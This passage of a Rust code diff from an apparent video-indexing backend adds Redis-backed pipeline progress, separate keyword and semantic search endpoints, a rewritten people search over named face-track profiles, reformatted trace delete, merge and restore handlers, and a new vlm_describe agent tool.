// 1. Try to read existing progress from Redis first
let redis_progress: Option<crate::core::progress::PipelineProgress> = {
use crate::core::db::RedisClient;
if let Ok(redis) = RedisClient::new() {
if let Ok(mut conn) = redis.get_conn().await {
let key = format!(
"{}progress:{}:pipeline",
crate::core::config::REDIS_KEY_PREFIX.as_str(),
file_uuid
);
redis::cmd("GET")
.arg(&key)
.query_async(&mut conn)
.await
.ok()
.and_then(|s: String| serde_json::from_str(&s).ok())
} else {
None
}
} else {
None
}
};
// 2. If Redis has complete progress (100%), return it directly
if let Some(ref rp) = redis_progress {
if rp.overall_progress >= 1.0 {
return Ok(Json(rp.clone()));
}
}
// 3. Otherwise, compute actual progress from DB state
let pool = state.db.pool();
let chunk_table = schema::table_name("chunk");
let tkg_nodes_table = schema::table_name("tkg_nodes");
@@ -1207,29 +1242,37 @@ async fn get_pipeline_progress_handler(
);
}
// Check identity agent from _seeds
use crate::core::db::qdrant_db::QdrantDb;
use serde_json::json;
let qdrant = QdrantDb::new();
let schema = std::env::var("DATABASE_SCHEMA").unwrap_or_else(|_| "dev".to_string());
let seeds_collection = if schema == "public" {
"momentry_public_speaker"
} else {
&format!("momentry_{}_speaker", schema)
};
let seeds_filter = json!({"must": [{"key": "file_uuid", "match": {"value": &file_uuid}}]});
let seed_points = qdrant
.scroll_all_points("_seeds", seeds_filter, 100)
.await
.unwrap_or_default();
if !seed_points.is_empty() {
// Handle music-only files: if processors and rule1 completed, tkg_nodes has nodes but no edges/relationships
// Mark face_dedup, tkg_edges and rule2_ingestion as "completed (no faces)" to reach 100%
if processors_done && tkg_node_count > 0 && tkg_edge_count == 0 {
pp.update_stage("face_dedup", 1.0, "completed", Some("no faces".to_string()));
pp.update_stage("tkg_edges", 1.0, "completed", Some("no faces".to_string()));
pp.update_stage("rule2_ingestion", 1.0, "completed", Some("no faces".to_string()));
}
// Check face dedup from face_cluster.json
if processors_done && tkg_node_count > 0 {
pp.update_stage(
"identity_agent",
"face_dedup",
1.0,
"completed",
Some(format!("{} seeds", seed_points.len())),
Some(format!("{} tracks", tkg_node_count)),
);
}
// 4. Merge with Redis progress: Redis-completed stages override DB state
if let Some(ref rp) = redis_progress {
for redis_stage in &rp.stages {
if redis_stage.status == "completed" {
pp.update_stage(
&redis_stage.name,
redis_stage.progress,
&redis_stage.status,
redis_stage.detail.clone(),
);
}
}
}
Ok(Json(pp))
}
src/api/search.rs
+145 -19
View File
@@ -40,6 +40,7 @@ pub struct SearchResult {
pub file_name: Option<String>,
pub serve_url: Option<String>,
pub thumbnail_url: Option<String>,
pub source_type: Option<String>,
}
#[derive(Debug, Serialize)]
@@ -63,6 +64,14 @@ struct MergedResult {
source: String,
}
fn map_chunk_type_to_source(chunk_type: &str) -> String {
match chunk_type.to_lowercase().as_str() {
"ocr" => "ocr".to_string(),
"sentence" => "asrx".to_string(),
other => other.to_string(),
}
}
/// Enrich a Qdrant search result with full data from PostgreSQL
async fn enrich_from_pg(
db: &crate::core::db::PostgresDb,
@@ -89,6 +98,7 @@ async fn enrich_from_pg(
file_name: None,
serve_url: None,
thumbnail_url: None,
source_type: Some(map_chunk_type_to_source(&p.chunk_type)),
}),
Ok(None) => None,
Err(e) => {
@@ -117,6 +127,7 @@ fn pg_result_to_search(p: &SemanticSearchResult) -> SearchResult {
file_name: None,
serve_url: None,
thumbnail_url: None,
source_type: Some(map_chunk_type_to_source(&p.chunk_type)),
}
}
@@ -464,23 +475,11 @@ pub async fn smart_search(
pg.summary.clone()
};
// Determine source prefix based on content field
let source_prefix = if let Some(ref content) = pg.content {
let text = content.get("text").and_then(|t| t.as_str()).unwrap_or("");
let ocr_text = content.get("ocr_text").and_then(|t| t.as_str()).unwrap_or("");
let has_asrx = !text.trim().is_empty();
let has_ocr = !ocr_text.trim().is_empty();
if has_asrx && has_ocr {
"[ASRX+OCR] "
} else if has_asrx {
"[ASRX] "
} else if has_ocr {
"[OCR] "
} else {
""
}
let source_type_value = map_chunk_type_to_source(&pg.chunk_type);
let source_prefix = if pg.chunk_type == "ocr" {
"[OCR] "
} else if pg.chunk_type == "sentence" {
"[ASRX] "
} else {
""
};
@@ -497,7 +496,11 @@ pub async fn smart_search(
end_time: pg.end_time,
raw_text: None,
summary: Some(format!("{}{}", source_prefix, display_text)),
text_content: Some(format!("{}{}", source_prefix, pg.text_content.clone().unwrap_or_default())),
text_content: Some(format!(
"{}{}",
source_prefix,
pg.text_content.clone().unwrap_or_default()
)),
metadata: pg.metadata.clone(),
similarity: Some(mr.score),
file_name: None,
@@ -508,6 +511,7 @@ pub async fn smart_search(
fu, mr.chunk_id
)
}),
source_type: Some(source_type_value),
});
}
}
@@ -569,8 +573,130 @@ pub async fn smart_search(
}))
}
/// Keyword-only search (BM25, no vector)
pub async fn keyword_search(
State(state): State<crate::api::types::AppState>,
Json(req): Json<SmartSearchRequest>,
) -> Result<Json<SmartSearchResponse>, (StatusCode, Json<serde_json::Value>)> {
let db = &state.db;
let page = req.page.unwrap_or(1).max(1);
let page_size = req.page_size.unwrap_or(5).max(1);
let limit = page_size;
// Keyword search via PG BM25
let keyword_results = db
.search_bm25(&req.query, req.file_uuid.as_deref(), limit as i64)
.await
.map_err(|e| {
tracing::error!("Keyword search failed: {}", e);
(
StatusCode::INTERNAL_SERVER_ERROR,
Json(serde_json::json!({ "error": e.to_string() })),
)
})?;
tracing::info!(
"Keyword search: {} hits for '{}'",
keyword_results.len(),
req.query
);
let mut results = Vec::new();
for row in keyword_results.iter() {
if let Ok(Some(p)) = db
.get_chunk_by_id_no_embedding(&row.file_uuid, &row.chunk_id)
.await
{
results.push(SearchResult {
id: 0,
file_uuid: p.file_uuid.clone(),
parent_id: p.scene_order,
scene_order: Some(p.scene_order),
start_frame: p.start_frame,
end_frame: p.end_frame,
fps: p.fps,
start_time: p.start_time,
end_time: p.end_time,
raw_text: None,
summary: Some(p.summary.clone()),
text_content: p.text_content.clone(),
metadata: p.metadata.clone(),
similarity: Some(row.bm25_score as f64),
file_name: None,
serve_url: None,
thumbnail_url: None,
source_type: Some(map_chunk_type_to_source(&p.chunk_type)),
});
}
}
Ok(Json(SmartSearchResponse {
query: req.query,
results,
page,
page_size,
strategy: "keyword".to_string(),
}))
}
/// Semantic-only search (vector, no keyword)
pub async fn semantic_search(
State(state): State<crate::api::types::AppState>,
Json(req): Json<SmartSearchRequest>,
) -> Result<Json<SmartSearchResponse>, (StatusCode, Json<serde_json::Value>)> {
let db = &state.db;
let qdrant = &state.qdrant;
let page = req.page.unwrap_or(1).max(1);
let page_size = req.page_size.unwrap_or(5).max(1);
let limit = page_size;
// Generate embedding
let embedder = Embedder::new("embeddinggemma-300m".to_string());
let embedding = embedder.embed_query(&req.query).await.map_err(|e| {
tracing::error!("Embedding failed: {}", e);
(
StatusCode::INTERNAL_SERVER_ERROR,
Json(serde_json::json!({ "error": e.to_string() })),
)
})?;
// Semantic search via Qdrant
let semantic_results = if let Some(file_uuid) = &req.file_uuid {
qdrant
.search_in_uuid(&embedding, file_uuid, limit)
.await
.unwrap_or_default()
} else {
qdrant.search(&embedding, limit).await.unwrap_or_default()
};
tracing::info!(
"Semantic search: {} hits for '{}'",
semantic_results.len(),
req.query
);
let mut results = Vec::new();
for hit in semantic_results.iter() {
if let Some(p) = enrich_from_pg(db, &hit.uuid, &hit.chunk_id, hit.score).await {
results.push(p);
}
}
Ok(Json(SmartSearchResponse {
query: req.query,
results,
page,
page_size,
strategy: "semantic".to_string(),
}))
}
// --- Router Setup ---
pub fn search_routes() -> Router<crate::api::types::AppState> {
Router::new().route("/api/v1/search/smart", post(smart_search))
Router::new()
.route("/api/v1/search/smart", post(smart_search))
.route("/api/v1/search/keyword", post(keyword_search))
.route("/api/v1/search/semantic", post(semantic_search))
}
src/api/server.rs
-2
View File
@@ -19,7 +19,6 @@ use super::files;
use super::health;
use super::health::{health, health_consistency, health_detailed};
use super::identities;
use super::identity_agent_api;
use super::identity_api;
use super::identity_binding;
use super::llm_search;
@@ -118,7 +117,6 @@ pub async fn start_server(host: &str, port: u16) -> anyhow::Result<()> {
.merge(agent_api::agent_routes())
.merge(agent_search::agent_search_routes())
.merge(processing::processing_routes())
.merge(identity_agent_api::identity_agent_routes())
.merge(media_api::bbox_routes())
.merge(media_api::media_proxy_routes())
.merge(media_api::pose_appearance_routes())
src/api/trace_agent_api.rs
+51 -13
View File
@@ -1706,7 +1706,10 @@ async fn delete_trace(
Path((file_uuid, trace_id)): Path<(String, i32)>,
Json(req): Json<serde_json::Value>,
) -> Json<serde_json::Value> {
let hard_delete = req.get("hard_delete").and_then(|v| v.as_bool()).unwrap_or(false);
let hard_delete = req
.get("hard_delete")
.and_then(|v| v.as_bool())
.unwrap_or(false);
let qdrant = crate::core::db::qdrant_db::QdrantDb::new();
@@ -1719,9 +1722,17 @@ async fn delete_trace(
]
});
let deleted_count = match qdrant.delete_points_by_filter("_faces", filter.clone()).await {
let deleted_count = match qdrant
.delete_points_by_filter("_faces", filter.clone())
.await
{
Ok(count) => {
tracing::info!("[delete_trace] Hard deleted {} face points from Qdrant for trace {} in {}", count, trace_id, file_uuid);
tracing::info!(
"[delete_trace] Hard deleted {} face points from Qdrant for trace {} in {}",
count,
trace_id,
file_uuid
);
count
}
Err(e) => {
@@ -1776,13 +1787,23 @@ async fn delete_trace(
"status": "deleted"
});
let qdrant_updated = match qdrant.update_payload_by_filter("_faces", filter.clone(), payload).await {
let qdrant_updated = match qdrant
.update_payload_by_filter("_faces", filter.clone(), payload)
.await
{
Ok(_) => {
tracing::info!("[delete_trace] Soft deleted (marked) trace {} in {}", trace_id, file_uuid);
tracing::info!(
"[delete_trace] Soft deleted (marked) trace {} in {}",
trace_id,
file_uuid
);
true
}
Err(e) => {
tracing::error!("[delete_trace] Failed to mark Qdrant points as deleted: {}", e);
tracing::error!(
"[delete_trace] Failed to mark Qdrant points as deleted: {}",
e
);
return Json(serde_json::json!({
"success": false,
"error": format!("Failed to mark Qdrant points: {}", e)
@@ -1848,8 +1869,11 @@ async fn merge_trace(
});
// Get count before update
let points_count = qdrant.scroll_all_points("_faces", src_filter.clone(), 1).await
.map(|pts| pts.len()).unwrap_or(0);
let points_count = qdrant
.scroll_all_points("_faces", src_filter.clone(), 1)
.await
.map(|pts| pts.len())
.unwrap_or(0);
// Update all source points to target trace_id
let new_payload = serde_json::json!({
@@ -1857,7 +1881,10 @@ async fn merge_trace(
"merged_from": trace_id
});
let moved_count = match qdrant.update_payload_by_filter("_faces", src_filter, new_payload).await {
let moved_count = match qdrant
.update_payload_by_filter("_faces", src_filter, new_payload)
.await
{
Ok(_) => points_count as u64,
Err(e) => {
return Json(serde_json::json!({
@@ -1919,8 +1946,11 @@ async fn restore_trace(
});
// Get count of points to restore
let points_to_restore = qdrant.scroll_all_points("_faces", filter.clone(), 1).await
.map(|pts| pts.len()).unwrap_or(0);
let points_to_restore = qdrant
.scroll_all_points("_faces", filter.clone(), 1)
.await
.map(|pts| pts.len())
.unwrap_or(0);
if points_to_restore == 0 {
return Json(serde_json::json!({
@@ -1934,9 +1964,17 @@ async fn restore_trace(
"status": serde_json::Value::Null
});
let qdrant_restored = match qdrant.update_payload_by_filter("_faces", filter, clear_payload).await {
let qdrant_restored = match qdrant
.update_payload_by_filter("_faces", filter, clear_payload)
.await
{
Ok(_) => {
tracing::info!("[restore_trace] Restored {} Qdrant points for trace {} in {}", points_to_restore, trace_id, file_uuid);
tracing::info!(
"[restore_trace] Restored {} Qdrant points for trace {} in {}",
points_to_restore,
trace_id,
file_uuid
);
true
}
Err(e) => {
src/api/universal_search.rs
+139 -269
View File
@@ -88,13 +88,15 @@ pub enum SearchResult {
#[serde(rename = "person")]
Person {
file_uuid: Option<String>,
identity_id: i32,
identity_uuid: String,
trace_id: i32,
external_id: String,
name: Option<String>,
appearance_count: i32,
frame_count: Option<i32>,
score: f64,
first_appearance_time: Option<f64>,
last_appearance_time: Option<f64>,
start_time: Option<f64>,
end_time: Option<f64>,
key_frame: Option<String>,
key_face: Option<String>,
},
}
@@ -102,6 +104,7 @@ pub fn universal_search_routes() -> Router<crate::api::types::AppState> {
Router::new()
.route("/api/v1/search/universal", post(universal_search))
.route("/api/v1/search/frames", post(search_frames))
.route("/api/v1/search/people", get(search_people))
}
/// Unified search across all data types
@@ -154,10 +157,10 @@ pub async fn universal_search(
results.extend(frame_results);
}
// Search persons
if types.contains(&"person".to_string()) {
let person_results = search_persons_internal(&db, &req).await.unwrap_or_default();
results.extend(person_results);
// Search people
if types.contains(&"people".to_string()) || types.is_empty() {
let people_results = search_persons_internal(&db, &req).await.unwrap_or_default();
results.extend(people_results);
}
// Deduplicate by chunk_id / frame_number / person_id
@@ -168,7 +171,7 @@ pub async fn universal_search(
results.retain(|r| match r {
SearchResult::Chunk { chunk_id, .. } => seen_chunks.insert(chunk_id.clone()),
SearchResult::Frame { frame_number, .. } => seen_frames.insert(*frame_number),
SearchResult::Person { identity_id, .. } => seen_persons.insert(*identity_id),
SearchResult::Person { trace_id, .. } => seen_persons.insert(*trace_id),
});
}
@@ -236,11 +239,11 @@ pub async fn search_frames(
}))
}
/// Search persons by name or speaker_id
pub async fn search_persons(
/// Search people by name from trace_profiles (named face tracks)
pub async fn search_people(
State(_state): State<crate::api::types::AppState>,
Query(query): Query<PersonSearchQuery>,
) -> Result<Json<PersonSearchResponse>, (StatusCode, Json<serde_json::Value>)> {
Query(query): Query<PeopleSearchQuery>,
) -> Result<Json<PeopleSearchResponse>, (StatusCode, Json<serde_json::Value>)> {
let db = PostgresDb::init().await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
@@ -249,7 +252,7 @@ pub async fn search_persons(
})?;
let limit = query.limit.unwrap_or(20);
let persons = search_persons_by_query(
let people = search_people_by_query(
&db,
&query.file_uuid,
&query.query,
@@ -264,10 +267,10 @@ pub async fn search_persons(
)
})?;
let persons_count = persons.len();
Ok(Json(PersonSearchResponse {
persons,
total: persons_count,
let total = people.len();
Ok(Json(PeopleSearchResponse {
people,
total,
}))
}
@@ -301,27 +304,34 @@ pub struct FrameResult {
}
#[derive(Debug, Deserialize)]
pub struct PersonSearchQuery {
pub file_uuid: String,
pub struct PeopleSearchQuery {
pub file_uuid: Option<String>,
pub query: Option<String>,
pub min_appearances: Option<i32>,
pub limit: Option<usize>,
}
#[derive(Debug, Serialize)]
pub struct PersonSearchResponse {
pub persons: Vec<PersonResult>,
pub struct PeopleSearchResponse {
pub people: Vec<PeopleResult>,
pub total: usize,
}
#[derive(Debug, Serialize)]
pub struct PersonResult {
pub identity_id: i32,
pub identity_uuid: String,
pub struct PeopleResult {
pub file_uuid: String,
pub file_name: String,
pub trace_id: i32,
pub external_id: Option<String>,
pub name: Option<String>,
pub appearance_count: i32,
pub first_appearance_time: Option<f64>,
pub last_appearance_time: Option<f64>,
pub start_frame: Option<i64>,
pub end_frame: Option<i64>,
pub frame_count: Option<i32>,
pub start_time: Option<f64>,
pub end_time: Option<f64>,
pub key_frame: Option<String>,
pub key_face: Option<String>,
pub avg_confidence: Option<f64>,
}
async fn search_chunks(
@@ -590,162 +600,65 @@ async fn search_persons_internal(
db: &PostgresDb,
req: &UniversalSearchRequest,
) -> Result<Vec<SearchResult>, anyhow::Error> {
let id_table = schema::table_name("identities");
let tp_table = schema::table_name("trace_profiles");
let nodes_table = schema::table_name("tkg_nodes");
// Query matching identities from PostgreSQL
let mut id_sql = format!(
"SELECT id, uuid::text, name FROM {} WHERE name IS NOT NULL",
id_table
let mut sql = format!(
"SELECT tp.file_uuid, tp.trace_id, tp.name, \
tp.start_frame, tp.end_frame, tp.frame_count, \
tp.key_frame, tp.key_face, tp.avg_confidence, \
n.external_id \
FROM {} tp \
LEFT JOIN {} n ON n.file_uuid = tp.file_uuid \
AND n.node_type = 'face_track' \
AND REPLACE(n.external_id, 'trace_', '')::int = tp.trace_id \
WHERE tp.name IS NOT NULL AND tp.name != ''",
tp_table, nodes_table
);
if !req.query.is_empty() {
let q = req.query.replace('\'', "''");
id_sql.push_str(&format!(" AND name ILIKE '%{}%'", q));
sql.push_str(&format!(
" AND (tp.name ILIKE '%{0}%' \
OR tp.vlm_description ILIKE '%{0}%' \
OR tp.vlm_clothing ILIKE '%{0}%' \
OR EXISTS (SELECT 1 FROM unnest(tp.vlm_tags) tag WHERE tag ILIKE '%{0}%') \
OR tp.vlm_location ILIKE '%{0}%' \
OR tp.vlm_setting ILIKE '%{0}%')",
q
));
}
id_sql.push_str(" ORDER BY name ASC");
let identities: Vec<(i32, String, Option<String>)> =
sqlx::query_as(&id_sql).fetch_all(db.pool()).await?;
if identities.is_empty() {
return Ok(Vec::new());
if let Some(ref fuuid) = req.file_uuid {
let safe = fuuid.replace('\'', "''");
sql.push_str(&format!(" AND tp.file_uuid = '{}'", safe));
}
sql.push_str(&format!(" ORDER BY tp.frame_count DESC NULLS LAST LIMIT {}", req.page_size.unwrap_or(20)));
// For each identity, scroll _faces points from Qdrant and aggregate per file
let qdrant = QdrantDb::new();
let limit = req.page_size.unwrap_or(20);
let rows: Vec<(String, i32, Option<String>, Option<i64>, Option<i64>, Option<i32>,
Option<String>, Option<String>, Option<f64>, Option<String>)> =
sqlx::query_as(&sql).fetch_all(db.pool()).await?;
// Aggregate frame ranges per (identity_id, file_uuid)
use std::collections::HashMap;
let mut agg: HashMap<(i32, String), (i64, i64, i64)> = HashMap::new(); // (id, fu) -> (count, min_frame, max_frame)
for (id, _uuid, _name) in &identities {
let scroll_filter = serde_json::json!({
"must": [
{"key": "identity_id", "match": {"value": id}}
]
});
let points = match qdrant
.scroll_all_points("_faces", scroll_filter, 1000)
.await
{
Ok(p) => p,
Err(e) => {
tracing::warn!("Qdrant scroll failed for identity {}: {}", id, e);
continue;
}
};
for point in &points {
let payload = &point["payload"];
let file_uuid = match payload["file_uuid"].as_str() {
Some(f) => f.to_string(),
None => continue,
};
// Apply file_uuid filter if specified
if let Some(ref filter_fu) = req.file_uuid {
if &file_uuid != filter_fu {
continue;
}
}
let frame = payload["frame"].as_i64().unwrap_or(0);
let entry = agg
.entry((*id, file_uuid))
.or_insert((0, i64::MAX, i64::MIN));
entry.0 += 1;
if frame < entry.1 {
entry.1 = frame;
}
if frame > entry.2 {
entry.2 = frame;
}
}
}
// Cache FPS per file_uuid for frame→second conversion
use std::collections::HashSet;
let file_uuids: HashSet<&str> = agg.keys().map(|(_, fu)| fu.as_str()).collect();
let video_table = crate::core::db::schema::table_name("videos");
let mut fps_cache: HashMap<String, f64> = HashMap::new();
for fu in file_uuids {
let fps: f64 = sqlx::query_scalar(&format!(
"SELECT COALESCE(fps, 30.0) FROM {} WHERE file_uuid = $1",
video_table
))
.bind(fu)
.fetch_optional(db.pool())
.await?
.unwrap_or(30.0);
fps_cache.insert(fu.to_string(), fps);
}
// Build results
let q_lower = req.query.to_lowercase();
let mut results: Vec<SearchResult> = identities
.iter()
.flat_map(|(id, uuid, name)| {
let name_str = name.as_deref().unwrap_or("");
let name_match = !req.query.is_empty() && name_str.to_lowercase().contains(&q_lower);
let score = if name_match { 0.95 } else { 0.5 };
// Yield entries for this identity's files
let files: Vec<String> = agg
.keys()
.filter(|(iid, _)| iid == id)
.map(|(_, fu)| fu.clone())
.collect();
if files.is_empty() {
vec![]
} else {
files
.into_iter()
.map(|fu| {
let (count, min_fr, max_fr) = agg[&(*id, fu.clone())];
let fps = fps_cache.get(&fu).copied().unwrap_or(30.0);
let first = if min_fr == i64::MAX {
None
} else {
Some(min_fr as f64 / fps)
};
let last = if max_fr == i64::MIN {
None
} else {
Some(max_fr as f64 / fps)
};
SearchResult::Person {
file_uuid: Some(fu),
identity_id: *id,
identity_uuid: uuid.clone(),
name: name.clone(),
appearance_count: count as i32,
score,
first_appearance_time: first,
last_appearance_time: last,
}
})
.collect::<Vec<_>>()
}
})
.collect();
let mut results: Vec<SearchResult> = Vec::new();
for (fuuid, trace_id, name, start_frame, end_frame, frame_count,
key_frame, key_face, avg_confidence, external_id) in rows
{
let name_match = !req.query.is_empty()
&& name.as_deref().map(|n| n.to_lowercase().contains(&q_lower)).unwrap_or(false);
let score = if name_match { 0.95 } else { 0.5 };
// Sort by appearance_count descending, then limit
results.sort_by(|a, b| {
let a_count = match a {
SearchResult::Person {
appearance_count, ..
} => *appearance_count,
_ => 0,
};
let b_count = match b {
SearchResult::Person {
appearance_count, ..
} => *appearance_count,
_ => 0,
};
b_count.cmp(&a_count)
});
results.truncate(limit);
results.push(SearchResult::Person {
file_uuid: Some(fuuid),
trace_id,
external_id: external_id.unwrap_or_else(|| format!("trace_{}", trace_id)),
name,
frame_count,
score,
start_time: None,
end_time: None,
key_frame,
key_face,
});
}
Ok(results)
}
@@ -831,114 +744,71 @@ async fn search_frames_internal_v2(
Ok(results)
}
async fn search_persons_by_query(
async fn search_people_by_query(
db: &PostgresDb,
file_uuid: &str,
file_uuid: &Option<String>,
query: &Option<String>,
min_appearances: Option<i32>,
_min_appearances: Option<i32>,
limit: usize,
) -> Result<Vec<PersonResult>, anyhow::Error> {
let id_table = schema::table_name("identities");
) -> Result<Vec<PeopleResult>, anyhow::Error> {
let tp_table = schema::table_name("trace_profiles");
let nodes_table = schema::table_name("tkg_nodes");
// Query matching identities from PostgreSQL
let mut id_sql = format!(
"SELECT id, uuid::text, name FROM {} WHERE name IS NOT NULL",
id_table
let mut sql = format!(
"SELECT tp.file_uuid, tp.trace_id, tp.name, \
tp.start_frame, tp.end_frame, tp.frame_count, \
tp.key_frame, tp.key_face, tp.avg_confidence, \
n.external_id \
FROM {} tp \
LEFT JOIN {} n ON n.file_uuid = tp.file_uuid \
AND n.node_type = 'face_track' \
AND REPLACE(n.external_id, 'trace_', '')::int = tp.trace_id \
WHERE tp.name IS NOT NULL AND tp.name != ''",
tp_table, nodes_table
);
if let Some(q) = query {
let safe = q.replace('\'', "''");
id_sql.push_str(&format!(" AND name ILIKE '%{}%'", safe));
sql.push_str(&format!(
" AND (tp.name ILIKE '%{0}%' \
OR tp.vlm_description ILIKE '%{0}%' \
OR tp.vlm_clothing ILIKE '%{0}%' \
OR EXISTS (SELECT 1 FROM unnest(tp.vlm_tags) tag WHERE tag ILIKE '%{0}%') \
OR tp.vlm_location ILIKE '%{0}%' \
OR tp.vlm_setting ILIKE '%{0}%')",
safe
));
}
id_sql.push_str(" ORDER BY name ASC");
let identities: Vec<(i32, String, Option<String>)> =
sqlx::query_as(&id_sql).fetch_all(db.pool()).await?;
if identities.is_empty() {
return Ok(Vec::new());
if let Some(fuuid) = file_uuid {
let safe = fuuid.replace('\'', "''");
sql.push_str(&format!(" AND tp.file_uuid = '{}'", safe));
}
sql.push_str(&format!(" ORDER BY tp.frame_count DESC NULLS LAST LIMIT {}", limit));
// For each identity, scroll _faces points from Qdrant and aggregate
let qdrant = QdrantDb::new();
let mut results: Vec<PersonResult> = Vec::new();
let rows: Vec<(String, i32, Option<String>, Option<i64>, Option<i64>, Option<i32>,
Option<String>, Option<String>, Option<f64>, Option<String>)> =
sqlx::query_as(&sql).fetch_all(db.pool()).await?;
for (id, uuid, name) in &identities {
let scroll_filter = serde_json::json!({
"must": [
{"key": "identity_id", "match": {"value": id}},
{"key": "file_uuid", "match": {"value": file_uuid}}
]
});
let points = match qdrant
.scroll_all_points("_faces", scroll_filter, 1000)
.await
{
Ok(p) => p,
Err(e) => {
tracing::warn!("Qdrant scroll failed for identity {}: {}", id, e);
continue;
}
};
if points.is_empty() {
continue;
}
let count = points.len() as i64;
if let Some(min) = min_appearances {
if (count as i32) < min {
continue;
}
}
let min_frame = points
.iter()
.filter_map(|p| p["payload"]["frame"].as_i64())
.min()
.unwrap_or(0);
let max_frame = points
.iter()
.filter_map(|p| p["payload"]["frame"].as_i64())
.max()
.unwrap_or(0);
// Look up FPS for this file
let video_table = crate::core::db::schema::table_name("videos");
let fps: f64 = sqlx::query_scalar(&format!(
"SELECT COALESCE(fps, 30.0) FROM {} WHERE file_uuid = $1",
video_table
))
.bind(file_uuid)
.fetch_optional(db.pool())
.await?
.unwrap_or(30.0);
let first_time = if fps > 0.0 {
Some(min_frame as f64 / fps)
} else {
None
};
let last_time = if fps > 0.0 {
Some(max_frame as f64 / fps)
} else {
None
};
results.push(PersonResult {
identity_id: *id,
identity_uuid: uuid.clone(),
name: name.clone(),
appearance_count: count as i32,
first_appearance_time: first_time,
last_appearance_time: last_time,
let mut results: Vec<PeopleResult> = Vec::new();
for (fuuid, trace_id, name, start_frame, end_frame, frame_count,
key_frame, key_face, avg_confidence, external_id) in rows
{
results.push(PeopleResult {
file_uuid: fuuid,
file_name: String::new(),
trace_id,
external_id,
name,
start_frame,
end_frame,
frame_count,
start_time: None,
end_time: None,
key_frame,
key_face,
avg_confidence,
});
}
// Sort by appearance_count descending, then limit
results.sort_by(|a, b| b.appearance_count.cmp(&a.appearance_count));
results.truncate(limit);
Ok(results)
}
src/cli/agent.rs
+2 -1
View File
@@ -25,11 +25,12 @@ pub async fn handle_agent(tool: &str, args_str: &str) -> Result<()> {
"get_file_info" => tools::exec_get_file_info(pool, &args).await,
"get_representative_frame" => tools::exec_get_representative_frame(pool, &args).await,
"analyze_frame" => tools::exec_analyze_frame(pool, &args).await,
"vlm_describe" => tools::exec_vlm_describe(pool, &args).await,
_ => anyhow::bail!(
"Unknown tool: {}. Available tools: find_file, list_files, tkg_query, \
tkg_nodes_query, tkg_edges_query, tkg_node_detail, smart_search, \
identity_text, identities_search, get_identity_detail, get_file_info, \
get_representative_frame, analyze_frame",
get_representative_frame, analyze_frame, vlm_describe",
tool
),
};

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